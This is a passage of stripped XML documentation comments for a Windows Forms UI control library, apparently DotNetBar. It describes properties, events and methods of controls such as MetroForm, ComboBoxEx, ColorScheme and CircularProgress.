being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Initializes a new instance of the MetroForm class. + + + + + Gets the array of LinearGradientColorTable objects that describe the border colors. The colors with index 0 is used as the outer most + border. + + Array of LinearGradientColorTable + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Gets the form path for the given input bounds. + + Represent the form bounds. + + + + + Called when HelpButtonText property has changed. + + Old property value + New property value + + + + Called when SettingsButtonText property has changed. + + Old property value + New property value + + + + Raises SettingsButtonClick event. + + Provides event arguments. + + + + Raises HelpButtonClick event. + + Provides event arguments. + + + + Gets or sets custom border colors for the form. When set it overrides settings from global Metro color table. + + + + + This property is not applicable for MetroForm. + + + + + + + Gets or sets the HELP button text. + + + + + Gets or sets the SETTINGS button text. + + + + + Occurs when SETTINGS button, if displayed, is clicked. + + + + + Occurs when HELP button, if displayed, is clicked. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Represents the Color scheme used by items on the Bar. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + VS.NET 2005 Blue Color Scheme + + + + + Converts hex string to Color type. + + Hexadecimal color representation. + Reference to Color object. + + + + Converts hex string to Color type. + + Color representation as 32-bit RGB value. + Reference to Color object. + + + + Converts hex string to Color type. + + Color representation as 32-bit RGB value. + Reference to Color object. + + + + Specifies Dock Site BackColor. + + + + + Specifies Dock Site BackColor2. + + + + + Specifies the gradient angle. + + + + + Specifies the menu bar background color. + + + + + Specifies the target menu bar gradient background color. + + + + + Specifies the gradient angle. + + + + + Specifies the background color for the bar when floating or when docked. + + + + + Specifies the target gradient background color for the bar when floating or when docked. + + + + + Specifies the gradient angle. + + + + + Specifies the background color for the bar Caption. + + + + + Specifies the target gradient background color for the bar Caption. + + + + + Specifies the gradient angle. + + + + + Specifies the color for text of the Caption. + + + + + Specifies the Bar Caption inactive (lost focus) background color. + + + + + Specifies the target background gradient Bar Caption inactive (lost focus) color. + + + + + Specifies the gradient angle. + + + + + Specifies the Bar inactive (lost focus) text color. + + + + + Specifies the background color for popup bars. + + + + + Specifies the border color for popup bars. + + + + + Specifies the border color for docked bars. + + + + + Specifies the color of the grab handle stripes. + + + + + Specifies the border color for floating bars. + + + + + Specifies the item background color. + + + + + Specifies the target item background gradient color. + + + + + Specifies the gradient angle. + + + + + Specifies the item text color. + + + + + Specifies the background color for the item that is disabled. + + + + + Specifies the text color for the item that is disabled. + + + + + Specifies the background color when mouse is over the item. + + + + + Specifies the target gradient background color when mouse is over the item. + + + + + Specifies the gradient angle. + + + + + Specifies the text color when mouse is over the item. + + + + + Specifies the border color when mouse is over the item. + + + + + Specifies the background color when item is pressed. + + + + + Specifies the target gradient background color when item is pressed. + + + + + Specifies the gradient angle. + + + + + Specifies the text color when item is pressed. + + + + + Specifies the border color when item is pressed. + + + + + Specifies the color for the item group separator. + + + + + Specifies the color for the item group separator shade. + + + + + Specifies the background color for the shadow of expanded item. + + + + + Specifies the background color for the expanded item. + + + + + Specifies the target gradient background color for the expanded item. + + + + + Specifies the gradient angle. + + + + + Specifies the text color for the expanded item. + + + + + Specifies the border color for the expanded item. + + + + + Specifies the background color for the checked item. + + + + + Specifies the target gradient background color for the checked item. + + + + + Specifies the gradient angle. + + + + + Specifies the border color for the checked item. + + + + + Specifies the text color for the checked item. + + + + + Specifies the customize item background color. Applies to Office2003 style only. + + + + + Specifies the customize item target gradient background color. Applies to Office2003 style only. + + + + + Specifies the customize item background color gradient angle. Applies to Office2003 style only. + + + + + Specifies the customize item text color. Applies to Office2003 style only. + + + + + Specifies the color of the menu border. + + + + + Specifies the background color of the menu. + + + + + Specifies the target gradient background color of the menu. + + + + + Specifies the angle of the gradient fill for the menu background. + + + + + Specifies the background color of the menu part (left side) that is showing the images. + + + + + Specifies the target gradient background color of the menu part (left side) that is showing the images. + + + + + Specifies the angle of the gradient fill for the menu part (left side) that is showing the images. + + + + + Specifies the background color for the items that were not recently used. + + + + + Specifies the side bar color for the items that were not recently used. + + + + + Specifies the target gradient side bar color for the items that were not recently used. + + + + + Specifies the angle of the gradient fill for the menu part (left side) that is showing the images. + + + + + Specifies the border color for focused design-time item. + + + + + Gets or sets predefined color scheme. By default DotNetBar will automatically change and generate color scheme depending on system colors. + + + + + Specifies the background color of the panel. + + + + + Specifies the target background gradient color of the panel. + + + + + Specifies the angle of the gradient fill for the panel background. + + + + + Specifies border color of the panel. + + + + + Specifies color of the text on the panel. + + + + + Specifies the background color of the explorer bar. + + + + + Specifies the target gradient background color of the explorer bar. + + + + + Specifies the angle of the gradient fill for the explorer bar background. + + + + + Specifies the foreground color of MDI System Item buttons. + + + + + Specifies the background color of the Splitter. + + + + + Specifies the target background gradient color of the Splitter. + + + + + Specifies the angle of the gradient fill for the Splitter background. + + + + + Specifies border color of the Splitter. + + + + + Specifies color of the text on the Splitter. + + + + + Indicates auto-hide panel background image if any. + + + + + Gets or sets the color of the auto-hide panel background. + + + + + Gets or sets the color of the auto-hide panel background. + + + + + Gets or sets the color of the auto-hide tab. + + + + + Gets or sets the color of the auto-hide tab. + + + + + Gets or sets the auto-hide tab background gradient angle. + + + + + Gets or sets the color of the auto-hide tab text. + + + + + Gets or sets the color of the auto-hide tab border. + + + + + Gets or sets the color of the auto-hide tab. + + + + + Gets or sets the color of the auto-hide tab. + + + + + Gets or sets the color of the auto-hide tab text. + + + + + Gets or sets the color of the tab border. + + + + + Specifies the type of predefined color scheme in ColorScheme object. + + + + + Default value. DotNetBar will automatically change and generate color scheme depending on system colors. + + + + + Blue Office 2003 Color Scheme. This setting specifies that this color scheme will be used regardless of system color setting on user machine. + + + + + Olive Green Office 2003 Color Scheme. This setting specifies that this color scheme will be used regardless of system color setting on user machine. + + + + + Silver Office 2003 Color Scheme. This setting specifies that this color scheme will be used regardless of system color setting on user machine. + + + + + Always use system colors to auto-generate color scheme. + + + + + Specifies a color scheme member. + + + + + Summary description for ColorSchemeEditor. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Summary description for ColorSchemeVSEditor. + + + + + Represents Color type editor with support for color schemes. + + + + + Edits the value of the specified object using the editor style indicated by GetEditStyle. + + An ITypeDescriptorContext that can be used to gain additional context information. + An IServiceProvider that this editor can use to obtain services. + The object to edit. + The new value of the object. + + + + Gets the editor style used by the EditValue method. + + An ITypeDescriptorContext that can be used to gain additional context information. + A UITypeEditorEditStyle value that indicates the style of editor used by EditValue. If the UITypeEditor does not support this method, then GetEditStyle will return None. + + + + + Provides command related utility methods that register and unregister commands. + + + + + Connects the Command Source to the Command. + + Command source to connect to the command. + Reference to the command. + + + + Disconnects command source from the command. + + Reference to command source. + Reference to the command. + + + + Unregister command from all subscribers. Called when command is disposed. + + Command to unregister. + + + + Gets an array of Command Sources that are connected with the command. + + Reference to command + An array of command sources. + + + + Gets or sets whether commands use Reflection to find the property names when applying value to the unknown types. Default value is true. + Setting this value to false will increase performance if Unknown types are used but it will at same time disable the + command setting value for these types. + + + + + Gets or sets whether layout on the items of type BaseItem is automatically updated when command text or other property changes which requires layout updated. Default value is true. + + + + + Represents the bound data navigator in current DotNetBar style. + + + + + Creates new instance of BindingNavigatorEx + + + + + Creates new instance of BindingNavigatorEx + + + + + Creates new instance of BindingNavigatorEx + + + + + Creates new instance of BindingNavigatorEx + + + + + Adds default items that make up the binding navigation control. + + + + + Gets or sets the reference to Add New record button. + + + + + Gets or sets the binding source for the navigator. + + + + + Gets or sets the label which represents the items count. + + + + + Indicates the format string for the label which displays the number of items bound. + + + + + Gets or sets the item which deletes current record. + + + + + Gets or sets the item which moves to first record. + + + + + Gets or sets the item which moves to last record. + + + + + Gets or sets the item which moves to next record. + + + + + Gets or sets the item which moves to previous record. + + + + + Gets or sets the text-box which shows current position. + + + + + Represents the class for the BaseItem non-popup based control host. + + + + + Creates new instance of the object. + + + + + Returns the color scheme used by control. Color scheme for Office2007 style will be retrieved from the current renderer instead of + local color scheme referenced by ColorScheme property. + + An instance of ColorScheme object. + + + + Paints the control focus cues. + + Paint event information. + + + + Creates the Graphics object for the control. + + The Graphics object for the control. + + + + Returns the renderer control will be rendered with. + + The current renderer. + + + + Resets style to default value. Used by windows forms designer. + + + + + Called when visual property of the control has changed so the control can be updated. + + + + + Forces the button to perform internal layout. + + + + + Recalculates the size of the internal item. + + + + + Indicates to control that all further update operations should not result in layout and refresh of control content. + Use this method to optimize the addition of new items to the control. This method supports nested calls meaning + that multiple calls are allowed but they must be ended with appropriate number of EndUpdate calls. + IsUpdateSuspended property returns whether update is suspended. + + + + + Indicates that update operation is complete and that control should perform layout and refresh to show changes. See BeginUpdate + for more details. + + + + + Indicates that update operation is complete and that control should perform layout and refresh to show changes. See BeginUpdate + for more details. + + + + + Gets or sets the instance of BaseItem object hosted by this control. + + + + + Gets or sets whether during painting OnPaintBackground on base control is called when BackColor=Transparent. + + + + + Gets or sets whether control displays focus cues when focused. + + + + + Gets or sets the redering mode used by control. Default value is eRenderMode.Global which means that static GlobalManager.Renderer is used. If set to Custom then Renderer property must + also be set to the custom renderer that will be used. + + + + + Gets or sets the custom renderer used by the items on this control. RenderMode property must also be set to eRenderMode.Custom in order renderer + specified here to be used. + + + + + Specifies the background style of the control. + + + + + Gets or sets Bar Color Scheme. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Gets/Sets the visual style for the control. + + + + + Gets whether control layout is suspended becouse of the call to BeginUpdate method. + + + + + Initializes a new instance of the CircularProgress class. + + + + + Raises ValueChanged event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when Value property has changed. + + + + + Gets or sets the circular progress bar type. + + + + + Gets or sets the maximum value of the progress bar. + + + + + Gets or sets the minimum value of the progress bar. + + + + + Gets or sets the color of the progress percentage text. + + + + + Gets or sets whether text that displays the progress bar completion percentage text is visible. Default value is false. + + + + + Gets or sets the text displayed on top of the circular progress bar. + + + + + Gets or sets the current value of the progress bar. + + + + + Gets or sets whether endless type progress bar is running. + + + + + Gets or sets the color of the color of progress indicator. + + + + + Gets or sets the color of the pie progress bar dark border. + + + + + Gets or sets the color of the pie progress bar light border. + + + + + Gets or sets the color of the spoke progress bar dark border. + + + + + Gets or sets the color of the spoke progress bar light border. + + + + + Gets or sets format string for progress value. + + + + + Gets or sets the animation speed for endless running progress. Lower number means faster running. + + + + + Initializes a new instance of the CollapsibleSplitContainer class. + + + + + Raises BeforeNearCollapseButtonClick event. + + Provides event arguments. + + + + Raises NearCollapseButtonClick event. + + Provides event arguments. + + + + Raises BeforeFarCollapseButtonClick event. + + Provides event arguments. + + + + Raises FarCollapseButtonClick event. + + Provides event arguments. + + + + Called when ButtonPosition property has changed. + + Old property value + New property value + + + + Called when CollapseMode property has changed. + + Old property value + New property value + + + + + Occurs after near collapse button is clicked. + + + + + Occurs before far collapse button is clicked and allows you to cancel its action. + + + + + Occurs after far collapse button is clicked. + + + + + Indicates position of buttons inside container. + + + + + Specifies how panels are collapsed when collapse buttons are pressed. + + + + + Defines available positions for buttons inside CollapsibleSplitterContainer. + + + + + Buttons are positioned on left or top side depending on orientation. + + + + + Buttons are positioned in center of container. + + + + + Buttons are positioned on right or bottom side depending on orientation. + + + + + Defines collapse mode for the CollapsibleSplitContainer control. + + + + + When buttons are pressed the splitter is positioned at the PanelMinSize. + + + + + When buttons are pressed associated panel is collapsed through Panel1Collapsed or Panel2Collapsed properties. + + + + + Represents the color picker button control. + + + + + Creates new instance of the object. + + + + + Displays the Colors dialog that allows user to choose the color or create a custom color. If new color is chosen the + SelectedColorChanged event is raised. + + + + + Raises the ColorPreview event. + + Provides event data. + + + + Raises the SelectedColorChanged event. + + Provides event data. + + + + Indicates whether SubItems collection is serialized. ColorPickerDropDown does not serialize the sub items. + + + + + Gets whether property should be serialized. + + + + + Resets the property to its default value. + + + + + Invokes the ColorPreview event. + + Provides data for the event. + + + + Update the selected color image if the SelectedColorImageRectangle has been set and button is using Image property to display the image. + + + + + Occurs when color is chosen from drop-down color picker or from Custom Colors dialog box. Selected color can be accessed through SelectedColor property. + + + + + Occurs when mouse is moving over the colors presented by the color picker. You can use it to preview the color before it is selected. + + + + + Gets or sets the array of ColorItem objects that will be used as standard colors instead of built-in color palette. + See: http://www.devcomponents.com/kb2/?p=79 for instructions. + + + + + Gets or sets the array of ColorItem objects that will be used as theme colors instead of built-in color palette. + See: http://www.devcomponents.com/kb2/?p=79 for instructions. + + + + + Gets whether command is executed when button is clicked. + + + + + Gets or sets the Owner Window that will be used as owner for the colors modal dialog when displayed. + + + + + Gets or sets more colors menu item is visible which allows user to open Custom Colors dialog box. Default value is true. + + + + + Gets or sets the last selected color from either the drop-down or Custom Color dialog box. Default value is + Color.Empty. You can use SelectedColorChanged event to be notified when this property changes. + + + + + Gets or sets whether theme colors are displayed on drop-down. Default value is true. + + + + + Gets or sets whether standard colors are displayed on drop-down. Default value is true. + + + + + Gets or sets the rectangle in Image coordinates where selected color will be painted. Setting this property will + have an effect only if Image property is used to set the image. Default value is an empty rectangle which indicates + that selected color will not be painted on the image. + + + + + Represents enhanced Windows combo box control. + + + + + Creates new instance of ComboBoxEx. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Clean up any resources being used. + + + + + Loads all fonts available on system into the combo box. + + + + + Releases the focus from combo box. The control that last had focus will receive focus back when this method is called. + + + + + Called when DropDownColumns property has changed. + + Old property value + New property value + + + + Called when DropDownColumnsHeaders property has changed. + + Old property value + New property value + + + + Raises BeforeMultiColumnPopupOpen event. + + Provides event arguments. + + + + Raises the DataColumnCreated event. + + Provides event arguments. + + + + Raises SelectionChanging event. + + Provides event arguments. + + + + Called when MultiColumnControlFont property has changed. + + Old property value + New property value + + + + Called when Command property value changes. + + + + + Occurs when drop down portion of combo box is shown or hidden. + + + + + Gets or sets whether control displays focus cues when focused. + + + + + Gets or sets whether control is stand-alone control. Stand-alone flag affects the appearance of the control in Office 2007 style. + + + + + Gets or sets whether watermark text is displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark (tip) text displayed inside of the control when Text is not set and control does not have input focus. This property supports text-markup. + Note that WatermarkText is not compatible with the auto-complete feature of .NET Framework 2.0. + + + + + Gets or sets the watermark hiding behaviour. Default value indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets the combo box background color. Note that in Office 2007 style back color of the control is automatically managed. + + + + + Gets or sets whether the BackColor value you set is used instead of the style back color automatically provided by the control. Default + value is false which indicates that BackColor property is automatically managed. Set this property to true and then set BackColor property + to make control use your custom back color. + + + + + Gets or sets value indicating whether system combo box appearance is used. Default value is false. + + + + + Gets or sets value indicating whether the combo box is draw using the Windows XP Theme manager when running on Windows XP or theme aware OS. + + + + + Disables internal drawing support for the List-box portion of Combo-box. Default value is false which means that internal drawing code is used. If + you plan to provide your own drawing for combo box items you must set this property to True. + + + + + Gets or sets whether combo box generates the audible alert when Enter key is pressed. + + + + + The ImageList control used by Combo box to draw images. + + + + + Determines the visual style applied to the combo box when shown. Default style is Office 2007. + + + + + Gets or sets whether ComboBoxEx thumb button that displays drop-down is rendered. Default value is true. + + + + + Gets or sets whether ComboBoxEx border is rendered. Default value is true. + + + + + Indicates whether ItemHeight property is set automatically based on the current font when DrawMode=OwnerDrawFixed + + + + + Gets or sets the custom color table used to render combo-box items + + + + + Gets or sets the text color for the text in combo-box when control Enabled property is set to false. + Setting this property is effective only for DropDownList ComboBox style. + + + + + Gets or sets the control background color when control is disabled. Default value is an empty color which indicates that system background color is used when control is disabled. + + + + + Gets the window handle that the drop down list is bound to. + + + + + Gets or sets whether FocusHighlightColor is used as background color to highlight text box when it has input focus. Default value is false. + + + + + Gets or sets the color used as background color to highlight text box when it has input focus and focus highlight is enabled. + + + + + Gets or sets comma separated list of field names that are displayed on drop down. When set it activates ComboBoxEx multi-column drop-down mode. + DataSource must be set in order for drop-down to display data. + + + + + Indicates custom column names with each column separated by new line, i.e. \r\n escape sequence. + + + + + Occurs before the multi-column popup is opened and it allows canceling of popup by setting CancelEventArgs.Cancel=true. + + + + + Occurs when ColumnHeader is automatically created by control as result of data binding for multi-column drop-down and provides you with opportunity to modify it. + + + + + Occurs before selection on multi-column drop-down has changed and allows canceling of the change. Applies to multi-column drop-down only. + + + + + Gets or sets whether selection change on multi-column drop-down closes the popup. Default value is true. Applies to multi-column drop-down only. + + + + + Indicates whether multi-column popup size is preserved between popup displays if popup is resized by end-user. Applies to multi-column drop-down only. + + + + + Indicates whether multi-column popup can be resized by end user. Applies to multi-column drop-down only. + + + + + Indicates whether multi-column popup close button is visible. + + + + + Gets or sets whether multi-column popup window is open. Applies to multi-column drop-down only. + + + + + Gets the reference to the control which is used to display multi-column data on popup. Control is created just before the popup is opened. + + + + + Indicates the font used by the multi-column control on the popup. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Represents the method that will handle the DropDownChange event. + + + + + Summary description for ComboBoxItem. + + + + + Creates new instance of ComboBoxItem. + + + + + Creates new instance of ComboBoxItem and assigns item name. + + Item Name. + + + + Creates new instance of ComboBoxItem and assigns item name and item text. + + Item Name + Item Text. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Returns whether property should be serialized. + + + + + Overridden. Releases the input focus. + + + + + Raises the ComboBoxTextChanged event. + + Provides event arguments. + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Occurs when underlining control ComboBox.Text property has changed. + + + + + Occurs when selected item on combo box has changed. + + + + + Gets or sets the accessible role of the item. + + + + + Gets or sets whether combo box generates the audible alert when Enter key is pressed. + + + + + Gets or sets the text color of the combo box label. + + + + + IBlock member implementation + + + + + Gets or sets the width of the of the drop-down portion of a combo box. + + + + + Gets or sets the height of the of the drop-down portion of a combo box. + + + + + Indicates the Width of the combo box part of the item. + + + + + Indicates whether control automatically releases its input focus when selection is made using keyboard. + + + + + Returns the reference to the inner combo box control. + + + + + Indicates whether item caption is always shown. + + + + + Gets an object representing the collection of the items contained in inner ComboBoxEx. + + + + + Gets or sets a value specifying the style of the combo box. + + + + + Gets or sets the starting index of text selected in the combo box. + + + + + Gets or sets the number of characters selected in the editable portion of the combo box. + + + + + Gets or sets the text that is selected in the editable portion of a combo box. + + + + + Gets or sets currently selected item in the combo box. + + + + + Gets or sets the index specifying the currently selected item. + + + + + Gets or sets the value indicating whether the item automatically loads all the fonts available into the combo box. + + + + + Gets or sets the height of an item in the combo box. + + + + + Indicates item's visibility when on pop-up menu. + + + + + Gets or sets the value that indicates whether the item was recently used. + + + + + Overridden. Gets or sets the text associated with this item. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the item caption text displayed next to the combo box. + + + + + Gets or sets a string that specifies the property of the data source whose contents you want to display. When ComboBoxItem is used in DropDown mode + and objects like ComboItem are added to ComboBoxItems.Items collection DisplayMembers should be set to the name of the property you would + like to use as text representation in editable portion of ComboBox. For example in case of ComboItem objects property should be set to Text. + + + + + Specifies whether combo box is drawn using themes when running on OS that supports themes like Windows XP + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets whether watermark text is displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark (tip) text displayed inside of the control when Text is not set and control does not have input focus. This property supports text-markup. + Note that WatermarkText is not compatible with the auto-complete feature of .NET Framework 2.0. + + + + + Gets or sets the watermark hiding behaviour. Default value indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets whether control is stand-alone control. Stand-alone flag affects the appearance of the control in Office 2007 style. + + + + + Summary description for ComboItem. + + + + + Creates new instance of ComboItem. + + + + + Initializes a new instance of the ComboItem class. + + + + + + Initializes a new instance of the ComboItem class. + + + + + + + Initializes a new instance of the ComboItem class. + + + + + + + + Initializes a new instance of the ComboItem class. + + + + + + + Overridden. Returns a human-readable string representation of this object. + + A string that represents this object. + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the index value of the image assigned to the item. + + + + + Gets or sets the text alignment.. + + + + + Gets or sets the line alignment for the item. + + + + + Gets or sets the value that encapsulates text layout information (such as alignment, orientation, tab stops, and clipping) and display manipulations. + + + + + Gets or sets the image horizontal image position. + + + + + Gets or sets the font name used to draw the item text. + + + + + Gets or sets the text color. + + + + + Gets or sets the background color of the item. + + + + + Specifies style information applied to text. + + + + + Gets the em-size of this Font object in design units. + + + + + Gets or sets the image assigned to this item. + + + + + Gets or sets an object that contains data to associate with the item. + + + + + Serves as integration of regular Image class and Icon class + + + + + Specifies orientation of content. + + + + + Indicates Horizontal orientation of the content. + + + + + Indicates Vertical orientation of the content. + + + + + Specifies content horizontal alignment. + + + + + Content is left aligned.UI + + + + + Content is right aligned. + + + + + Content is centered. + + + + + Specifies content vertical alignment. + + + + + Content is top aligned. + + + + + Content is bottom aligned. + + + + + Content is in the middle. + + + + + Represents a extended content block interface for advanced layout information. + + + + + Returns whether element is an container so it receives full available size of parent control for layout. + + + + + Represents event arguments for SerialContentLayoutManager.NextPosition event. + + + + + Gets or sets the block that is layed out. + + + + + Gets or sets the current block position. + + + + + Gets or sets the calculated next block position. + + + + + Cancels default position calculation. + + + + + Represents event arguments for the SerialContentLayoutManager layout events. + + + + + Gets or sets the reference block object. + + + + + Gets or sets the position block will assume. + + + + + Cancel the layout of the block, applies only to BeforeXXX layout event. + + + + + Gets or sets the visibility index of the block. + + + + + Creates new instance of the class and initializes it with default values. + + + + + Delegate for SerialContentLayoutManager.NextPosition event. + + + + + Delegate for the SerialContentLayoutManager layout events. + + + + + Summary description for ContextExMenuTypeEditor. + + + + + Gets the editor style used by the EditValue method. + + An ITypeDescriptorContext that can be used to gain additional context information. + A UITypeEditorEditStyle value that indicates the style of editor used by EditValue. If the UITypeEditor does not support this method, then GetEditStyle will return None + + + + Represents the context menu bar that provides the context menus for the System.Windows.Forms.Control inherited controls on the form. + + + + + Returns the instance of the BaseItem that is assigned as context menu to the control. + + Control to return context menu for. + Instance of the BaseItem used as context menu for the control. + + + + Assigns the context menu to a control. + + Control to assign the context menu to. + Instance of PopupItem derived class usually ButtonItem to act as context menu for a control. The SubItems collection of the item specified here actually defines the visible context menu items. + + + + Gets/Sets whether Bar is visible or not. + + + + + Summary description for Popups. + + + + + Summary description for ControlContainerItem. + + + + + Creates new instance of ControlContainerItem and assigns item name. + + + + + Creates new instance of ControlContainerItem and assigns item name. + + Item name. + + + + Creates new instance of ControlContainerItem and assigns item name and item text. + + Item name. + Item text. + + + + Overridden. Returns the copy of the ControlContainerItem. + + Copy of the ControlContainerItem. + + + + Overridden. Draws the item. + + Target Graphics object. + + + + Overridden. Recalculates the size of the item. + + + + + Called when size of the item is changed externally. + + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Occurs when container control needs to be assigned to the item. + + + + + Indicates item's visiblity when on pop-up menu. + + + + + Indicates whether item was recently used. + + + + + Gets/Sets informational text (tooltip) for the item. + + + + + Gets or sets the reference to the control that is managed by the item. + + + + + IBlock member implementation + + + + + Specifies whether contained control can be automatically resized to fill the item container. + + + + + Represents the Check Box control with extended styles. + + + + + Invokes the CheckedChanged event. + + + + + Invokes CheckedChanging event. + + + + + Called when Command property value changes. + + + + + Occurs before Checked property is changed and allows you to cancel the change. + + + + + Occurs after Checked property is changed with extended information. + + + + + Occurs after Checked property is changed. This event is provided for the Windows Forms data binding support. You can use CheckedChangedEx to get extended information about the changed. + + + + + Occurs after Checked property is changed. This event is provided for the Windows Forms data binding support. You can use CheckedChangedEx to get extended information about the changed. + + + + + Gets or sets the size of the check or radio sign. Default value is 13x13. Minimum value is 6x6. + + + + + Gets or sets whether text-markup support is enabled for controls Text property. Default value is true. + Set this property to false to display HTML or other markup in the control instead of it being parsed as text-markup. + + + + + Gets or sets the appearance style of the item. Default value is CheckBox. Item can also assume the style of radio-button. + + + + + Gets or sets the check box position relative to the text. Default value is Left. + + + + + Gets or set a value indicating whether the button is in the checked state. + + + + + Gets or sets whether text assigned to the check box is visible. Default value is true. + + + + + Gets or sets the text color. Default value is Color.Empty which indicates that default color is used. + + + + + Gets or sets the text associated with the control. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Gets or sets a value indicating whether the CheckBox will allow three check states rather than two. If the ThreeState property is set to true + CheckState property should be used instead of Checked property to set the extended state of the control. + + + + + Specifies the state of a control, such as a check box, that can be checked, unchecked, or set to an indeterminate state. + + + + + Gets the underlying CheckBoxItem + + + + + Gets or sets whether mnemonic character assigned to control is processed only if Alt key is pressed. Default value is false which indicate that Alt key is not required. + + + + + Gets or set whether the Checked values and the item appearance are automatically changed when the Check-Box is clicked. Default value is true. + + + + + Gets or sets the object that represents the Checked state of control. + + + + + Gets or sets whether empty string is consider as null value during CheckValue value comparison. Default value is true. + + + + + Gets or sets the value that represents the Indeterminate state of check box when CheckValue property is set to that value. Default value is null. + + + + + Gets or sets the value that represents the Checked state of check box when CheckValue property is set to that value. Default value is null. + + + + + Gets or sets the value that represents the Unchecked state of check box when CheckValue property is set to that value. Default value is null. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is checked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is unchecked. + + + + + Gets or sets the custom image that is displayed instead default check box representation when check box is in indeterminate state. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Delegate for OptionGroupChanging event. + + + + + Represents event arguments for OptionGroupChanging event. + + + + + Set to true to cancel the checking on NewChecked button. + + + + + Check-box that will become checked if operation is not cancelled. + + + + + Check-box that is currently checked and which will be unchecked if operation is not cancelled. This property will have only valid values for eCheckBoxStyle.RadioButton style CheckBoxItems. + + + + + Indicates the action that has caused the event. + + + + + Default constructor. + + + + + Represents the combo box like control which shows the AdvTree control on popup. Tree control + can be configured to display multiple columns as well. + + + + + Initializes a new instance of the TextBoxDropDown class. + + + + + Raises FormattingEnabledChanged event. + + Event arguments. + + + + Raises FormatStringChanged event. + + Event arguments. + + + + Raises FormatInfoChanged event. + + Event arguments. + + + + Raises the DataSourceChanged event. + + An EventArgs that contains the event data. + + + + Raises the DisplayMemberChanged event. + + An EventArgs that contains the event data. + + + + When overridden in a derived class, resynchronizes the item data with the contents of the data source. + + + + + When overridden in a derived class, sets the specified array of objects in a collection in the derived class. + + An array of items. + + + + Raises the DataColumnCreated event. + + Provides event arguments. + + + + Raises the DataNodeCreated event. + + Provides event arguments. + + + + Creates a new node for the data item. + + Item to create node for. + New instance of the node. + + + + Raises the DataNodeCreated event. + + Provides event arguments. + + + + When overridden in a derived class, sets the object with the specified index in the derived class. + + The array index of the object. + The object. + + + + Called when ParentFieldName property has changed. + + + + + Called when GroupingMembers property has changed. + + + + + Raises the Format event. + + Event parameters + + + + Raises the SelectedIndexChanged event. + + Event arguments. + + + + Raises the ValueMemberChanged event. + + Event arguments. + + + + Raises the SelectedValueChanged event. + + Event arguments. + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Resets style to default value. Used by windows forms designer. + + + + + Renders the selected node inside the combo box. + + Graphics reference. + Render bounds. + + + + Updates popup tree size based on its content. + + + + + Shows drop-down popup. Note that popup will be shown only if there is a DropDownControl assigned or DropDownItems collection has at least one item. + + + + + Closes the drop-down popup if it is open. + + + + + Called when PopupLocation property has changed. + + Old property value + New property value + + + + Raises the ButtonClearClick event. + + + + + + Raises the ButtonDropDownClick event. + + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when Command property value changes. + + + + + Occurs when Clear button is clicked and allows you to cancel the default action performed by the button. + + + + + Occurs when Drop-Down button that shows popup is clicked and allows you to cancel showing of the popup. + + + + + Occurs when ButtonCustom control is clicked. + + + + + Occurs when ButtonCustom2 control is clicked. + + + + + Occurs when the text alignment in text box has changed. + + + + + Occurs before Node has been selected by user or through the SelectedNode property. Event can be canceled. + + + + + Occurs after node has been selected by user or through the SelectedNode property. + + + + + Occurs when the DataSource changes. + + + + + Occurs when the DisplayMembers property changes. + + + + + Occurs when the control is bound to a data value that need to be converted. + + + + + Occurs when FormattingEnabled property changes. + + + + + Occurs when FormatString property changes. + + + + + Occurs when FormatInfo property has changed. + + + + + Occurs when a Node for an data-bound object item has been created and provides you with opportunity to modify the node. + + + + + Occurs when a group Node is created as result of GroupingMembers property setting and provides you with opportunity to modify the node. + + + + + Occurs when value of ValueMember property has changed. + + + + + Occurs when value of SelectedValue property 